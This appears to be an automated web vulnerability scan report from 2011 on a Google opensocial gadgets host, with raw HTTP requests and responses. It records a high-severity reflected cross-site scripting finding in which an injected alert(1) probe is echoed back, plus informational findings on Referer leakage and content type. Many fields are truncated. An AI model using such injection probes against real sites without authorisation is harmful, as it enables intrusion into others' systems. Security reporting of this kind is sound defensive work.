1. Cross-site scripting (reflected)
2. Cross-domain Referer leakage
3. Content type incorrectly stated
3.1. http://ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com/gadgets/ifr
Severity: | High |
Confidence: | Certain |
Host: | http://ol5u8o2ka38be |
Path: | /gadgets/ifr |
GET /gadgets/ifr?url=http:/ Host: ol5u8o2ka38be34j62kt Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=209791819 |
HTTP/1.1 400 Bad Request P3P: CP="CAO PSA OUR" Content-Type: text/html; charset=UTF-8 Date: Wed, 12 Jan 2011 03:39:24 GMT Expires: Wed, 12 Jan 2011 03:39:24 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Content-Length: 116 Unable to retrieve spec for http://fcgadgets.appspot alert(1)//44c3e42d1ac. HTTP error 400 |
Severity: | Information |
Confidence: | Certain |
Host: | http://ol5u8o2ka38be |
Path: | /gadgets/ifr |
GET /gadgets/ifr?url=http:/ Host: ol5u8o2ka38be34j62kt Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=209791819 |
HTTP/1.1 200 OK P3P: CP="CAO PSA OUR" Content-Type: text/html; charset=UTF-8 Expires: Wed, 12 Jan 2011 02:32:01 GMT Cache-Control: private,max-age=300 Date: Wed, 12 Jan 2011 02:27:01 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Content-Length: 113134 <html><head><style type="text/css">body,td ...[SNIP]... <div id="paging_controls" style="overflow: hidden; padding: 2px 0px 4px 6px;"> <a href="http://fcgadgets ...[SNIP]... |
Severity: | Information |
Confidence: | Firm |
Host: | http://ol5u8o2ka38be |
Path: | /gadgets/ifr |
GET /gadgets/ifr HTTP/1.1 Host: ol5u8o2ka38be34j62kt Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=209791819 |
HTTP/1.1 400 Bad Request P3P: CP="CAO PSA OUR" Content-Type: text/html; charset=UTF-8 Date: Wed, 12 Jan 2011 03:33:48 GMT Expires: Wed, 12 Jan 2011 03:33:48 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close Missing or malformed url parameter |
Severity: | Information |
Confidence: | Firm |
Host: | http://ol5u8o2ka38be |
Path: | /gadgets/makeRequest |
GET /gadgets/makeRequest Host: ol5u8o2ka38be34j62kt Proxy-Connection: keep-alive Referer: http://ol5u8o2ka38be Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=209791819 |
HTTP/1.1 200 OK Expires: Wed, 12 Jan 2011 03:27:03 GMT Cache-Control: public,max-age=3600 Content-Disposition: attachment;filename=p.txt Content-Type: application/json; charset=UTF-8 Date: Wed, 12 Jan 2011 02:27:03 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Content-Length: 560 throw 1; < don't be evil' >{"http://fcgadgets ...[SNIP]... |